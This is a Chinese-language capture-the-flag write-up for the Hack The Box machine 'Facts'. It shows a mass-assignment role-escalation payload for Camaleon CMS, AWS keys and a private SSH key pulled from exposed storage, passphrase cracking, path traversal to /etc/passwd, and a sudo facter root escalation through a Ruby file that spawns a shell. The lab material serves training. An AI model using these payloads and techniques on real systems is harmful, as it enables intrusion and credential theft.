Machine Info
| Name | OS | Diffculty |
| Facts | Linux | Easy |
Nmap
ehl@kali-leaner:~/Desktop/CyberSecurity/HTB/Facts$ nmap -sS -p- -T4 facts.htb
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-22 10:29 +0000
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 1.53% done; ETC: 10:34 (0:04:17 remaining)
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 3.01% done; ETC: 10:33 (0:03:13 remaining)
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 3.70% done; ETC: 10:33 (0:03:02 remaining)
Stats: 0:00:09 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 5.28% done; ETC: 10:32 (0:02:41 remaining)
Warning: 10.129.9.180 giving up on port because retransmission cap hit (6).
Stats: 0:06:21 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 39.65% done; ETC: 10:46 (0:09:41 remaining)
Nmap scan report for facts.htb (10.129.9.180)
Host is up (0.25s latency).
Not shown: 65505 closed tcp ports (reset), 27 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
54321/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 963.82 secondsBash扫描54321端口的详细信息。
ehl@kali-leaner:~/Desktop/CyberSecurity/HTB/Facts$ nmap -sT -A -p54321 facts.htb
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-22 13:12 +0000
Nmap scan report for facts.htb (10.129.9.180)
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
54321/tcp open http Golang net/http server
|_http-server-header: MinIO
|_http-title: Did not follow redirect to http://facts.htb:9001
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Accept-Ranges: bytes
| Content-Length: 303
| Content-Type: application/xml
| Server: MinIO
| Strict-Transport-Security: max-age=31536000; includeSubDomains
| Vary: Origin
| X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
| X-Amz-Request-Id: 189F2C0572374A62
| X-Content-Type-Options: nosniff
| X-Xss-Protection: 1; mode=block
| Date: Sun, 22 Mar 2026 13:13:00 GMT
| <?xml version="1.0" encoding="UTF-8"?>
| <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/nice ports,/Trinity.txt.bak</Resource><RequestId>189F2C0572374A62</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
| GenericLines, Help, RTSPRequest, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 400 Bad Request
| Accept-Ranges: bytes
| Content-Length: 276
| Content-Type: application/xml
| Server: MinIO
| Strict-Transport-Security: max-age=31536000; includeSubDomains
| Vary: Origin
| X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
| X-Amz-Request-Id: 189F2C0133BBF711
| X-Content-Type-Options: nosniff
| X-Xss-Protection: 1; mode=block
| Date: Sun, 22 Mar 2026 13:12:41 GMT
| <?xml version="1.0" encoding="UTF-8"?>
| <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/</Resource><RequestId>189F2C0133BBF711</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
| HTTPOptions:
| HTTP/1.0 200 OK
| Vary: Origin
| Date: Sun, 22 Mar 2026 13:12:42 GMT
|_ Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port54321-TCP:V=7.98%I=7%D=3/22%Time=69BFEAC8%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,2B0,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nAc
SF:cept-Ranges:\x20bytes\r\nContent-Length:\x20276\r\nContent-Type:\x20app
SF:lication/xml\r\nServer:\x20MinIO\r\nStrict-Transport-Security:\x20max-a
SF:ge=31536000;\x20includeSubDomains\r\nVary:\x20Origin\r\nX-Amz-Id-2:\x20
SF:dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8\r\nX-A
SF:mz-Request-Id:\x20189F2C0133BBF711\r\nX-Content-Type-Options:\x20nosnif
SF:f\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20Sun,\x2022\x20Ma
SF:r\x202026\x2013:12:41\x20GMT\r\n\r\n<\?xml\x20version=\"1\.0\"\x20encod
SF:ing=\"UTF-8\"\?>\n<Error><Code>InvalidRequest</Code><Message>Invalid\x2
SF:0Request\x20\(invalid\x20argument\)</Message><Resource>/</Resource><Req
SF:uestId>189F2C0133BBF711</RequestId><HostId>dd9025bab4ad464b049177c95eb6
SF:ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>")%r(HTTPOptions,5
SF:9,"HTTP/1\.0\x20200\x20OK\r\nVary:\x20Origin\r\nDate:\x20Sun,\x2022\x20
SF:Mar\x202026\x2013:12:42\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSP
SF:Request,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:
SF:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20
SF:Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request
SF:\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clo
SF:se\r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,2CB,"HTTP/1\.0\x2
SF:0400\x20Bad\x20Request\r\nAccept-Ranges:\x20bytes\r\nContent-Length:\x2
SF:0303\r\nContent-Type:\x20application/xml\r\nServer:\x20MinIO\r\nStrict-
SF:Transport-Security:\x20max-age=31536000;\x20includeSubDomains\r\nVary:\
SF:x20Origin\r\nX-Amz-Id-2:\x20dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af
SF:9251148b658df7ac2e3e8\r\nX-Amz-Request-Id:\x20189F2C0572374A62\r\nX-Con
SF:tent-Type-Options:\x20nosniff\r\nX-Xss-Protection:\x201;\x20mode=block\
SF:r\nDate:\x20Sun,\x2022\x20Mar\x202026\x2013:13:00\x20GMT\r\n\r\n<\?xml\
SF:x20version=\"1\.0\"\x20encoding=\"UTF-8\"\?>\n<Error><Code>InvalidReque
SF:st</Code><Message>Invalid\x20Request\x20\(invalid\x20argument\)</Messag
SF:e><Resource>/nice\x20ports,/Trinity\.txt\.bak</Resource><RequestId>189F
SF:2C0572374A62</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3f
SF:d1af9251148b658df7ac2e3e8</HostId></Error>");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 - 3.13 (96%), Linux 3.2 - 4.14 (96%), Linux 2.6.32 - 3.10 (96%), Android 9 - 10 (Linux 4.9 - 4.14) (96%), Android 10 - 12 (Linux 4.14 - 4.19) (96%), Android 12 (Linux 5.4) (95%), Linux 5.17 (95%), QNAP QTS 5.0 (Linux 5.10) (95%), Linux 3.10 - 4.11 (95%), Linux 5.10 - 5.11 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 0.08 ms 10.8.6.1
2 242.64 ms 10.10.14.1
3 242.96 ms facts.htb (10.129.9.180)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.87 secondsBash这个是用来进行资源存储的服务MinIO,之前做的个人网站用过它。它主要是来存储图片、视频、音频等文件资源的,外部访问资源的默认端口是9000,控制台端口默认是9001。
Website
Port: 54321
Homepage
尝试访问http://facts.htb:54321,结果会被重定向到http://facts.htb:9001,但无法其访问内容。

Dirsearch
ehl@kali-leaner:~/Desktop/CyberSecurity/HTB/Facts$ dirsearch -u http://facts.htb:54321/ -e * -r -x 404
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: reports | HTTP method: GET | Threads: 25 | Wordlist size: 9479
Output File: /home/ehl/Desktop/CyberSecurity/HTB/Facts/reports/http_facts.htb_54321/__26-03-22_14-59-08.txt
Target: http://facts.htb:54321/
[14:59:08] Starting:
[14:59:11] 403 - 301B - /reports.old
[14:59:11] 403 - 293B - /reports
[14:59:11] 403 - 301B - /reports.tgz
[14:59:11] 400 - 352B - /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../
[14:59:11] 403 - 301B - /reports.tar
[14:59:11] 403 - 301B - /reports.bak
[14:59:11] 403 - 301B - /reports.txt
[14:59:11] 400 - 352B - /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
[14:59:11] 403 - 301B - /reports.zip
[14:59:11] 403 - 301B - /reports.php
...Bash状态码404表明服务器无法找到用户请求的资源。这通常发生在用户访问的页面不存在或链接错误时。
状态码403表示服务器已理解请求,但拒绝授权访问。这通常意味着你已通过身份验证,但权限不足,无法访问目标资源。
状态码403表示客户端发送的请求存在问题,服务器无法理解或处理该请求。
但是基本上所有字典都有403状态码,显然是有点异常。下面尝试将403结果不显示,重新扫一次。
ehl@kali-leaner:~/Desktop/CyberSecurity/HTB/Facts$ dirsearch -u http://facts.htb:54321/ -e * -r -x 404,403
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: reports | HTTP method: GET | Threads: 25 | Wordlist size: 9479
Output File: /home/ehl/Desktop/CyberSecurity/HTB/Facts/reports/http_facts.htb_54321/__26-03-22_13-54-31.txt
Target: http://facts.htb:54321/
[13:54:31] Starting:
[13:54:35] 400 - 352B - /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../
[13:54:35] 400 - 352B - /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
[13:54:52] 400 - 365B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[13:55:18] 200 - 204B - /crossdomain.xml
[13:55:28] 400 - 361B - /faces/javax.faces.resource/web.xml?ln=../WEB-INF
[13:55:28] 400 - 361B - /faces/javax.faces.resource/web.xml?ln=..\\WEB-INF
[13:56:05] 400 - 342B - /remote/fgt_lang?lang=/../../../../////////////////////////bin/sslvpnd
[13:56:05] 400 - 342B - /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
Task Completed
Bash尝试访问一下 http://facts.htb:54321/crossdomain.xml

crossdomain.xml主要用于控制Flash、Silverlight等跨域访问资源时的安全策略。domain=”*”:允许任何域名的 Flash 应用访问此服务器。secure=”false”:允许非 HTTPS 连接(不安全)。目前没啥利用价值。
尝试随便访问一个目录。

响应结果也是以xml文件的形式来返回。并且目录会被当做桶名称。在对象资源存储服务中,我们可以按照分类创建很多的bukets(桶),资源都存储在各种桶里(桶里也可以出现文件夹)。当我们按照需要获取这些资源时,可以按照域名/桶名称(/桶文件夹)/资源名称的格式(也可以自定义,不过大部分都是默认的格式)来进行访问。现在我们去找一下这个网站上的图片资源。

有一个图片文件链接http://facts.htb/randomfacts/animalejected.png。其中有一个目录randomfacts。我们尝试访问http://facts.htb:54321/randomfacts。

可以看到,桶资源暴露了出来。下面将所有资源下载到本地。
┌──(erhui㉿kali)-[~/Desktop/cybersecurity/htb/Facts]
└─$ curl -O http://facts.htb:54321/randomfacts
┌──(erhui㉿kali)-[~/Desktop/cybersecurity/htb/Facts]
└─$ xmllint --format randomfacts > randomfacts.xml
┌──(erhui㉿kali)-[~/Desktop/cybersecurity/htb/Facts]
└─$ cat randomfacts.xml | grep '<Key>'
┌──(erhui㉿kali)-[~/Desktop/cybersecurity/htb/Facts]
└─$ cat randomfacts.xml | grep '<Key>' | awk -F'[<>]' '/<Key>/ {print $3}' > keys.txt
┌──(erhui㉿kali)-[~/Desktop/cybersecurity/htb/Facts]
└─$ vim get_all_resources.sh
# /bin/bash
base_url="http://facts.htb:54321"
buket="randomfacts"
while read line; do
curl -O "$base_url/$buket/$line"
done < keys.txt
┌──(erhui㉿kali)-[~/Desktop/cybersecurity/htb/Facts]
└─$ chmod 700 get_all_resources.sh
┌──(erhui㉿kali)-[~/Desktop/cybersecurity/htb/Facts]
└─$ ./get_all_resources.sh Bash没有发现什么有用的信息。
Port:80
Homepage


Sqlmap
ehl@kali-leaner:~/Desktop/CyberSecurity/HTB/Facts$ sqlmap -u http://facts.htb/search?q=1
___
__H__
___ ___[)]_____ ___ ___ {1.10.2#stable}
|_ -| . ['] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:04:17 /2026-03-22/
[12:04:17] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('_factsapp_session=HBzpqYHmp2T...2QxQ%3D%3D'). Do you want to use those [Y/n] y
[12:04:19] [INFO] testing if the target URL content is stable
[12:04:21] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[12:04:23] [INFO] testing if GET parameter 'q' is dynamic
[12:04:23] [INFO] GET parameter 'q' appears to be dynamic
[12:04:24] [WARNING] reflective value(s) found and filtering out
[12:04:25] [WARNING] heuristic (basic) test shows that GET parameter 'q' might not be injectable
[12:04:25] [INFO] testing for SQL injection on GET parameter 'q'
[12:04:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:04:29] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[12:04:30] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[12:04:31] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[12:04:32] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[12:04:34] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[12:04:35] [INFO] testing 'Generic inline queries'
[12:04:35] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[12:04:36] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[12:04:37] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[12:04:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[12:04:40] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[12:04:41] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[12:04:42] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] y
[12:04:49] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[12:04:50] [WARNING] GET parameter 'q' does not seem to be injectable
[12:04:50] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[*] ending @ 12:04:50 /2026-03-22/BashDirsearch
ehl@kali-leaner:~/Desktop/CyberSecurity/HTB/Facts$ dirsearch -u http://facts.htb -e * -r -x 404
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: reports | HTTP method: GET | Threads: 25 | Wordlist size: 9479
Output File: /home/ehl/Desktop/CyberSecurity/HTB/Facts/reports/http_facts.htb/_26-03-22_12-05-21.txt
Target: http://facts.htb/
[12:05:21] Starting:
[12:05:39] 200 - 7KB - /400
[12:05:39] 200 - 5KB - /404
[12:05:40] 200 - 8KB - /500
[12:06:51] 200 - 99B - /robots.txt
[12:07:03] 200 - 73B - /up.phpBash访问上面的目录后,没发现什么有用的。
FFUF
dirsearch工具在递归扫描目录时具有很好的表现,但是在重定向的扫描表现中没有ffuf好。
ehl@kali-leaner:~/Desktop/CyberSecurity/HTB/Facts$ ffuf -u http://facts.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt -c
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://facts.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Extensions : .php .jsp .asp .aspx .do .action .cgi .html .htm .js .tar .gz
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
...
admin [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1399ms]
admin.cgi [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1347ms]
admin.pl [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1295ms]
admin.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1331ms]
ajax [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 1791ms]
...Bash发现三个新目录,HTTP状态吗是302(重定向)。访问一下该目录。

注册账号,进行登录。

发现CMS:Camaleon ,版本是2.9.0。
CVE-2025-2304
概述:Camaleon CMS 存在一个通过 Mass Assignment 实现的权限提升漏洞。当用户希望更改其密码时,会调用 UsersController 中的 updated_ajax方法。由于使用了不安全的 permit!方法,允许所有参数未经过滤地通过,从而引发了漏洞。
payload: _method=patch&authenticity_token=RyhAaIoxpZAV9_I7Ft5emSAy3UWsTH3jcwJ4dEhJSyXfWO1i1IqNqf9-YYK7cCzvgEwD1P3iTouqOhNPtAqqIA&password%5Bpassword%5D=erhui&password%5Bpassword_confirmation%5D=erhui&password%5Brole%5D=adminHTTP

在后台中找到了AWS对象存储服务的相关信息。

S3 (Simple Storage Service) 是指亚马逊云服务(AWS)提供的对象存储服务。下面使用Aws CLI(命令行界面)获取buket。
┌──(erhui㉿kali)-[~/Desktop/cybersecurity/htb/Facts]
└─$ aws configure
AWS Access Key ID [None]: AKIA759216DC1AD3A0D4
AWS Secret Access Key [None]: LNkGwUopAgKcRSqARJW03ZEaZ7Lq0P4gV6TEKhc0
Default region name [None]: us-east-1
Default output format [None]: Bash得到两个桶(第二个桶已经看过了,没啥用):
┌──(erhui㉿kali)-[~/Desktop/cybersecurity/htb/Facts]
└─$ aws s3 ls --endpoint-url http://facts.htb:54321
2025-09-11 20:06:52 internal
2025-09-11 20:06:52 randomfactsBash看一下internal桶里有什么
┌──(erhui㉿kali)-[~/Desktop/cybersecurity/htb/Facts]
└─$ aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
PRE .bundle/
PRE .cache/
PRE .ssh/
2026-01-09 02:45:13 220 .bash_logout
2026-01-09 02:45:13 3900 .bashrc
2026-01-09 02:47:17 20 .lesshst
2026-01-09 02:47:17 807 .profile
┌──(erhui㉿kali)-[~/Desktop/cybersecurity/htb/Facts]
└─$ aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321
2026-03-23 18:51:52 82 authorized_keys
2026-03-23 18:51:52 464 id_ed25519
Bash将密钥下载下来。
┌──(erhui㉿kali)-[~/Desktop/cybersecurity/htb/Facts]
└─$ aws s3 cp s3://internal/.ssh/id_ed25519 ./ --endpoint-url http://facts.htb:54321
download: s3://internal/.ssh/id_ed25519 to ./id_ed25519
┌──(erhui㉿kali)-[~/Desktop/cybersecurity/htb/Facts]
└─$ cat id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABCwM1g5tS
rMk0EeD5isR3lzAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIHBKZ+ibudsjMH8o
oRE9K1lXqnMLXwBHlqEJB/cN9vuNAAAAoFLYI3L67PtFF29r9AU/oYKfzOdQ1ZpwLVZhFw
FAkh0XDia1SsJ7uCiwJbLCJMHIpOhMWu0zSX1WoTBctSinV01UB8c3ar9cDhhKy+OZR0UG
WasLIlqtmkJAeRojVgcyE+Vj+4iAT/2WIOurg4WWEeR9uHEKvrim4cWbtd7M4zx7zUelPR
PaJOOhLq17TVsZqBLj4xYiZZCpI7F8rt88nhA=
-----END OPENSSH PRIVATE KEY-----
BashCVE-2026-1776 / CVE-2024-46987
在项目文件camaleon-cms-2.9.0/app/controllers/camaleon_cms/admin/media_controller.rb中函数download_private_file实现了下载的controller功能,具体下载功能的实现写在fetch_file函数中(Ruby和Java不一样,依赖注入一般是隐式的)。
require 'will_paginate/array'
module CamaleonCms
module Admin
class MediaController < CamaleonCms::AdminController
skip_before_action :admin_logged_actions, except: %i[index download_private_file], raise: false
skip_before_action :verify_authenticity_token, only: :upload, raise: false
before_action :init_media_vars, except: :download_private_file
...
# download private files
def download_private_file
cama_uploader.enable_private_mode!
file = cama_uploader.fetch_file("private/#{params[:file]}")
return render plain: helpers.sanitize(file[:error]) if file.is_a?(Hash) && file[:error].present?
send_file file, disposition: 'inline'
end
...Rubyuploader分两种:local(camaleon_cms_local_uploader.rb)、aws(camaleon_cms_aws_uploader.rb)。
在文件camaleon-cms-2.9.0/app/helpers/camaleon_cms/uploader_helper.rb进行选择local或aws。
...
# return the current uploader
def cama_uploader
@cama_uploader ||= lambda {
thumb = current_site.get_option('filesystem_thumb_size', '100x100').split('x')
args = {
server: current_site.get_option('filesystem_type', 'local').downcase,
thumb: { w: thumb[0], h: thumb[1] },
aws_settings: {
region: current_site.get_option('filesystem_region', 'us-west-2'),
access_key: current_site.get_option('filesystem_s3_access_key'),
secret_key: current_site.get_option('filesystem_s3_secret_key'),
bucket: current_site.get_option('filesystem_s3_bucket_name'),
cloud_front: current_site.get_option('filesystem_s3_cloudfront'),
aws_file_upload_settings: lambda { |settings|
settings
}, # permit to add your custom attributes for file_upload https://docs.aws.amazon.com/sdkforruby/api/Aws/S3/Object.html#upload_file-instance_method
aws_file_read_settings: lambda { |data, _s3_file|
data
} # permit to read custom attributes from aws file and add to file parsed object
},
custom_uploader: nil # possibility to use custom file uploader
}
hooks_run('on_uploader', args)
return args[:custom_uploader] if args[:custom_uploader].present?
case args[:server]
when 's3', 'aws'
CamaleonCmsAwsUploader.new(
{ current_site: current_site, thumb: args[:thumb], aws_settings: args[:aws_settings] }, self
)
else
CamaleonCmsLocalUploader.new({ current_site: current_site, thumb: args[:thumb] }, self)
end
}.call
end
...Ruby两种下载器都定义了fetch_file方法,我们可以看一下。
...
def fetch_file(file_name)
return file_name if file_exists?(file_name)
return file_name if bucket.object(file_name).download_file(file_name) && file_exists?(file_name)
{ error: 'File not found' }
end
...Ruby...
def fetch_file(file_name)
return { error: 'Invalid file path' } unless valid_folder_path?(file_name)
return file_name if file_exists?(file_name)
{ error: 'File not found' }
end
...Ruby可以发现,在aws uploader中没有使用valid_folder_path函数对文件名进行验证。由此造成路径遍历的漏洞,导致普通用户可以获取敏感文件/etc/passwd。

┌──(erhui㉿kali)-[~/Downloads]
└─$ cat passwd | grep /home
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bashRubyUser
无法登录。
ehl@kali-leaner:~/Desktop/CyberSecurity/HTB/Facts$ chmod 600 id_ed25519
ehl@kali-leaner:~/Desktop/CyberSecurity/HTB/Facts$ ssh -i id_ed25519 trivia@facts.htb
Enter passphrase for key 'id_ed25519':
trivia@facts.htb's password:
Permission denied, please try again.
trivia@facts.htb's password:
ehl@kali-leaner:~/Desktop/CyberSecurity/HTB/Facts$ ssh -i id_ed25519 william@facts.htb
william@facts.htb's password:
Bash尝试爆破一下ssh。
┌──(erhui㉿kali)-[~/Desktop/cybersecurity/htb/Facts]
└─$ ssh2john id_ed25519 > hash.txt
┌──(erhui㉿kali)-[~/Desktop/cybersecurity/htb/Facts]
└─$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
dragonballz (id_ed25519)
1g 0:00:03:01 DONE (2026-04-02 04:14) 0.005516g/s 17.65p/s 17.65c/s 17.65C/s grecia..imissu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Bash登录成功。
ehl@kali-leaner:~/Desktop/CyberSecurity/HTB/Facts$ ssh -i id_ed25519 trivia@facts.htb
Enter passphrase for key 'id_ed25519':
Last login: Wed Jan 28 16:17:19 UTC 2026 from 10.10.14.4 on ssh
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Wed Apr 1 08:17:44 PM UTC 2026
System load: 0.0
Usage of /: 71.9% of 7.28GB
Memory usage: 18%
Swap usage: 0%
Processes: 220
Users logged in: 1
IPv4 address for eth0: 10.129.244.96
IPv6 address for eth0: dead:beef::250:56ff:feb9:5fc6
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
trivia@facts:~$ cd /home
trivia@facts:/home$ ls
trivia william
trivia@facts:/home$ cd william/
trivia@facts:/home/william$ ls
user.txt
trivia@facts:/home/william$ cat user.txt
6d52b227fbd02d4a9a61158fff8f93c8BashRoot
trivia@facts:~$ sudo -l
Matching Defaults entries for trivia on facts:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
Bashtrivia@facts:~$ cat /usr/bin/facter
#!/usr/bin/ruby
# frozen_string_literal: true
require 'pathname'
require 'facter/framework/cli/cli_launcher'
Facter::OptionsValidator.validate(ARGV)
processed_arguments = CliLauncher.prepare_arguments(ARGV)
CliLauncher.start(processed_arguments)
Bash对于facter命令,我们可以看一下它的执行过程。
Facter 启动
↓
扫描内置 fact 目录 (/usr/lib/ruby/vendor_ruby/facter/)
↓
扫描自定义 fact 目录 (--custom-dir 指定的 /tmp)
↓
加载所有 .rb 文件
↓
执行每个 Facter.add() 块
↓
输出所有 fact 的键值对Bash于是,我们可以创建一个Ruby文件,重写一下Facter.add方法,在其中执行系统命令,再利用–custom-dir参数来指定脚本所在目录,即可提权成功。
trivia@facts:/tmp$ vim evil.rb
Facter.add('evil') do
setcode do
# 执行 bash,获取 root 权限
system('/bin/bash')
end
end
trivia@facts:/tmp$ chmod 777 evil.rb
trivia@facts:/tmp$ sudo facter --custom-dir /tmp
root@facts:/tmp# id
uid=0(root) gid=0(root) groups=0(root)Bash